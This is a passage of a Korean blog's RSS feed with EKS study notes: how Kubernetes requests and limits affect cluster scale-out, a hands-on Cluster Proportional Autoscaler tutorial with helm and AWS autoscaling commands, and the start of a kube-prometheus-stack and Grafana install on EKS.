&lt;li&gt;Request와 Limits를 적절하게 설정하지 않은 상태에서는 실제 노드의 &lt;b&gt;부하 평균이 낮은 상황&lt;/b&gt;에서도 &lt;b&gt;스케일 아웃&lt;/b&gt;이 되거나, &lt;b&gt;부하 평균이 높은&lt;/b&gt; 상황임에도 &lt;b&gt;스케일 아웃이 되지 않는 문제&lt;/b&gt;가 발생할 수 있습니다.&lt;/li&gt;
&lt;li&gt;기본적으로 리소스에 의한 스케줄링은 Requests(최소)를 기준으로 이루어집니다. 다시 말해 Requests를 초과하여 할당한 경우에는 최소 리소스 요청만으로 리소스가 꽉 차 버려서 신규 노드를 추가해야만 합니다. 이때 실제 컨테이너 프로세스가 사용하는 리소스 사용량은 고려되지 않습니다.&lt;/li&gt;
&lt;li&gt;반대로 Request를 낮게 설정한 상태에서 Limits과 차이가 나는 상황을 생각해보면 각 컨테이너는 Limits로 할당된 리소스를 최대로 사용합니다. 그래서 실제 리소스 사용량이 높아졌더라도 Requests합계로 보면 아직 스케줄링이 가능하기 때문에 클러스터가 스케일 아웃하지 않는 상황이 발생하게 됩니다.&lt;/li&gt;
&lt;li&gt;여기서는 &lt;b&gt;CPU 리소스&lt;/b&gt; 할당을 예로 설명했지만 &lt;b&gt;메모리의 경우도 마찬&lt;/b&gt;가지입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CPA - Cluster Proportional Autoscaler&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드 수 증가에 비례하여 성능 처리가 필요한 애플리케이션(컨테이너/파드)를 수평으로 자동 확장하는 오토 스케일러입니다. &lt;i&gt;(예: coredns)&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RL0Tg/btsGjDC2zXK/y3v97AmiVKx4lltQ4qqtj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RL0Tg/btsGjDC2zXK/y3v97AmiVKx4lltQ4qqtj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RL0Tg/btsGjDC2zXK/y3v97AmiVKx4lltQ4qqtj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRL0Tg%2FbtsGjDC2zXK%2Fy3v97AmiVKx4lltQ4qqtj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;406&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CPA를 설치하고 테스트할 샘플 nginx 파드 배포와 함께 CPA 규칙을 설정합니다. &lt;b&gt;nodesToReplicas&lt;/b&gt;에 노드 개수에 따라 파드의 개수를 지정하는 규칙을 입력하고 helm 차트를 업그레이드 합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712046176374&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;helm repo add cluster-proportional-autoscaler https://kubernetes-sigs.github.io/cluster-proportional-autoscaler

# CPA규칙을 설정하고 helm차트를 릴리즈 필요
helm upgrade --install cluster-proportional-autoscaler cluster-proportional-autoscaler/cluster-proportional-autoscaler

# nginx 디플로이먼트 배포
cat &amp;lt;&amp;lt;EOT &amp;gt; cpa-nginx.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        resources:
          limits:
            cpu: &quot;100m&quot;
            memory: &quot;64Mi&quot;
          requests:
            cpu: &quot;100m&quot;
            memory: &quot;64Mi&quot;
        ports:
        - containerPort: 80
EOT
kubectl apply -f cpa-nginx.yaml

# CPA 규칙 설정
cat &amp;lt;&amp;lt;EOF &amp;gt; cpa-values.yaml
config:
  ladder:
    nodesToReplicas:
      - [1, 1]
      - [2, 2]
      - [3, 3]
      - [4, 3]
      - [5, 5]
options:
  namespace: default
  target: &quot;deployment/nginx-deployment&quot;
EOF
kubectl describe cm cluster-proportional-autoscaler

# helm 업그레이드
helm upgrade --install cluster-proportional-autoscaler -f cpa-values.yaml cluster-proportional-autoscaler/cluster-proportional-autoscaler&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노드를 5개로 증가시켜보면 CPA 규칙에 따라 해당 파드가 5개로 늘어나는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712046225216&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 5개로 증가
export ASG_NAME=$(aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].AutoScalingGroupName&quot; --output text)
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 5 --desired-capacity 5 --max-size 5
aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; --output table&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.26.22.png&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byxV1s/btsGkrBQ1Nx/yKsvoHRBwGNlIIWRfjkkEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byxV1s/btsGkrBQ1Nx/yKsvoHRBwGNlIIWRfjkkEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byxV1s/btsGkrBQ1Nx/yKsvoHRBwGNlIIWRfjkkEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyxV1s%2FbtsGkrBQ1Nx%2FyKsvoHRBwGNlIIWRfjkkEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1785&quot; height=&quot;140&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.26.22.png&quot; data-origin-width=&quot;1785&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.31.00.png&quot; data-origin-width=&quot;709&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Y1yC8/btsGhSutQZQ/KJZmn7B9pbOsDJjh21LmnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Y1yC8/btsGhSutQZQ/KJZmn7B9pbOsDJjh21LmnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Y1yC8/btsGhSutQZQ/KJZmn7B9pbOsDJjh21LmnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FY1yC8%2FbtsGhSutQZQ%2FKJZmn7B9pbOsDJjh21LmnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;709&quot; height=&quot;198&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.31.00.png&quot; data-origin-width=&quot;709&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 노드의 개수를 축소하게 되면 CPA 규칙에 따라 해당 파드가 4개로 줄어드는 것도 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712046437486&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 노드 4개로 축소
aws autoscaling update-auto-scaling-group --auto-scaling-group-name ${ASG_NAME} --min-size 4 --desired-capacity 4 --max-size 4
aws autoscaling describe-auto-scaling-groups --query &quot;AutoScalingGroups[? Tags[? (Key=='eks:cluster-name') &amp;amp;&amp;amp; Value=='myeks']].[AutoScalingGroupName, MinSize, MaxSize,DesiredCapacity]&quot; --output table&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.31.52.png&quot; data-origin-width=&quot;1789&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMCT9K/btsGiPX5row/oc6f2HD0Lrlz8B2yHMUDQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMCT9K/btsGiPX5row/oc6f2HD0Lrlz8B2yHMUDQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMCT9K/btsGiPX5row/oc6f2HD0Lrlz8B2yHMUDQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMCT9K%2FbtsGiPX5row%2Foc6f2HD0Lrlz8B2yHMUDQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1789&quot; height=&quot;161&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.31.52.png&quot; data-origin-width=&quot;1789&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.32.01.png&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b407cn/btsGiXV4Y77/sUuktYnBEbmJpkg03bQHo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b407cn/btsGiXV4Y77/sUuktYnBEbmJpkg03bQHo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b407cn/btsGiXV4Y77/sUuktYnBEbmJpkg03bQHo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb407cn%2FbtsGiXV4Y77%2FsUuktYnBEbmJpkg03bQHo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;792&quot; height=&quot;174&quot; data-filename=&quot;스크린샷 2024-04-02 오후 5.32.01.png&quot; data-origin-width=&quot;792&quot; data-origin-height=&quot;174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 후 모든 자원을 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712046784321&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;helm uninstall cluster-proportional-autoscaler &amp;amp;&amp;amp; kubectl delete -f cpa-nginx.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/11</guid>
      <comments>https://imxsuu.tistory.com/11#entry11comment</comments>
      <pubDate>Mon, 1 Apr 2024 17:58:14 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Prometheus &amp;amp; Grafana</title>
      <link>https://imxsuu.tistory.com/10</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Prometheus-Stack&lt;/h3&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1351&quot; data-origin-height=&quot;811&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZBqkF/btsF10NrMYB/WKPyaC4qhj7h6O4DHKuBQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZBqkF/btsF10NrMYB/WKPyaC4qhj7h6O4DHKuBQk/img.png&quot; data-alt=&quot;출처 :https://prometheus.io/docs/introduction/overview/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZBqkF/btsF10NrMYB/WKPyaC4qhj7h6O4DHKuBQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZBqkF%2FbtsF10NrMYB%2FWKPyaC4qhj7h6O4DHKuBQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1351&quot; height=&quot;811&quot; data-origin-width=&quot;1351&quot; data-origin-height=&quot;811&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://prometheus.io/docs/introduction/overview/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;the main&amp;nbsp;&lt;a href=&quot;https://github.com/prometheus/prometheus&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;b&gt;Prometheus server&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;which scrapes and stores&amp;nbsp;&lt;b&gt;time series data&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://prometheus.io/docs/instrumenting/clientlibs/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;b&gt;client libraries&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;for instrumenting application code&lt;/li&gt;&lt;li&gt;a&amp;nbsp;&lt;a href=&quot;https://github.com/prometheus/pushgateway&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;b&gt;push gateway&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;for supporting short-lived jobs&lt;/li&gt;&lt;li&gt;special-purpose&amp;nbsp;&lt;a href=&quot;https://prometheus.io/docs/instrumenting/exporters/&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;b&gt;exporters&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;for services like HAProxy, StatsD, Graphite, etc.&lt;/li&gt;&lt;li&gt;an&amp;nbsp;&lt;a href=&quot;https://github.com/prometheus/alertmanager&quot; target=&quot;_self&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;b&gt;alertmanager&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&amp;nbsp;to handle alerts&lt;/li&gt;&lt;li&gt;various support tools&lt;/li&gt;&lt;/ul&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;Prometheus-Stack 설치&lt;/h4&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;kube-prometheus-stack은 문서 및 스크립트와 결합된 k8s 매니페스트, Grafana 대시보드 및 Prometheus 규칙을 수집하고 Prometheus Operator를 사용하여 Prometheus에서 운영하기 쉬운 end-to-end k8s 클러스터 모니터링을 제공합니다.&lt;br&gt;&lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br&gt;&lt;a href=&quot;https://artifacthub.io/packages/helm/prometheus-community/kube-prometheus-stack&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Prometheus-Stack&lt;/span&gt;&lt;/a&gt;은 모니터링에 필요한 여러 요소를&amp;nbsp;단일 차트(스택)으로 제공합니다. 이를 Helm 방식으로 배포해 봅니다. 스토리지클래스는 EBS CSI Driver에 해당하는 gp3를 사용하며 프로메테우스를 접근할 때에는 인그레스로 접근할 것이므로 인그레스 도메인을 설정해주었으며 프로메테우스와 그라파나의  alb 이름과 그룹 이름을 동일하게 설정하였습니다.&lt;/p&gt;&lt;pre data-ke-type=&quot;codeblock&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 모니터링
kubectl create ns monitoring
watch kubectl get pod,pvc,svc,ingress -n monitoring

# 사용 리전의 인증서 ARN 확인 : 정상 상태 확인(만료 상태면 에러 발생!)
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성
cat &amp;lt;&amp;lt;EOT &amp;gt; monitor-values.yaml
prometheus:
&amp;nbsp;&amp;nbsp;prometheusSpec:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;podMonitorSelectorNilUsesHelmValues: false
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceMonitorSelectorNilUsesHelmValues: false
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;retention: 5d
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;retentionSize: &quot;10GiB&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;storageSpec:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;volumeClaimTemplate:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;spec:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;storageClassName: gp3
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;accessModes: [&quot;ReadWriteOnce&quot;]
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;resources:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;requests:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;storage: 30Gi

&amp;nbsp;&amp;nbsp;ingress:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;enabled: true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ingressClassName: alb
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hosts: 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- prometheus.$MyDomain
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;paths: 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- /*
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;annotations:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/scheme: internet-facing
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/target-type: ip
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:443}, {&quot;HTTP&quot;:80}]'
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/success-codes: 200-399
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/group.name: study
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
&amp;nbsp;&amp;nbsp;defaultDashboardsTimezone: Asia/Seoul
&amp;nbsp;&amp;nbsp;adminPassword: prom-operator

&amp;nbsp;&amp;nbsp;ingress:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;enabled: true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ingressClassName: alb
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hosts: 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- grafana.$MyDomain
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;paths: 
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- /*
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;annotations:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/scheme: internet-facing
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/target-type: ip
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:443}, {&quot;HTTP&quot;:80}]'
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/success-codes: 200-399
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/group.name: study
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alb.ingress.kubernetes.io/ssl-redirect: '443'

&amp;nbsp;&amp;nbsp;persistence:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;enabled: true
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;type: sts
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;storageClassName: &quot;gp3&quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;accessModes:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;- ReadWriteOnce
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size: 20Gi

defaultRules:
&amp;nbsp;&amp;nbsp;create: false
kubeControllerManager:
&amp;nbsp;&amp;nbsp;enabled: false
kubeEtcd:
&amp;nbsp;&amp;nbsp;enabled: false
kubeScheduler:
&amp;nbsp;&amp;nbsp;enabled: false
alertmanager:
&amp;nbsp;&amp;nbsp;enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.1.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# 확인
## alertmanager-0 : 사전에 정의한 정책 기반(예: 노드 다운, 파드 Pending 등)으로 시스템 경고 메시지를 생성 후 경보 채널(슬랙 등)로 전송
## grafana : 프로메테우스는 메트릭 정보를 저장하는 용도로 사용하며, 그라파나로 시각화 처리
## prometheus-0 : 모니터링 대상이 되는 파드는 ‘exporter’라는 별도의 사이드카 형식의 파드에서 모니터링 메트릭을 노출, pull 방식으로 가져와 내부의 시계열 데이터베이스에 저장
## node-exporter : 노드익스포터는 물리 노드에 대한 자원 사용량(네트워크, 스토리지 등 전체) 정보를 메트릭 형태로 변경하여 노출
## operator : 시스템 경고 메시지 정책(prometheus rule), 애플리케이션 모니터링 대상 추가 등의 작업을 편리하게 할수 있게 CRD 지원
## kube-state-metrics : 쿠버네티스의 클러스터의 상태(kube-state)를 메트릭으로 변환하는 파드
helm list -n monitoring
kubectl get pod,svc,ingress,pvc -n monitoring
kubectl get-all -n monitoring
kubectl get prometheus,servicemonitors -n monitoring
kubectl get crd | grep monitoring
kubectl df-pv&lt;/code&gt;&lt;/pre&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3044&quot; data-origin-height=&quot;832&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eb6KXY/btsF4WwcmFy/inZUVMwjiFOemaxZmcM6Ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eb6KXY/btsF4WwcmFy/inZUVMwjiFOemaxZmcM6Ck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eb6KXY/btsF4WwcmFy/inZUVMwjiFOemaxZmcM6Ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feb6KXY%2FbtsF4WwcmFy%2FinZUVMwjiFOemaxZmcM6Ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3044&quot; height=&quot;832&quot; data-origin-width=&quot;3044&quot; data-origin-height=&quot;832&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
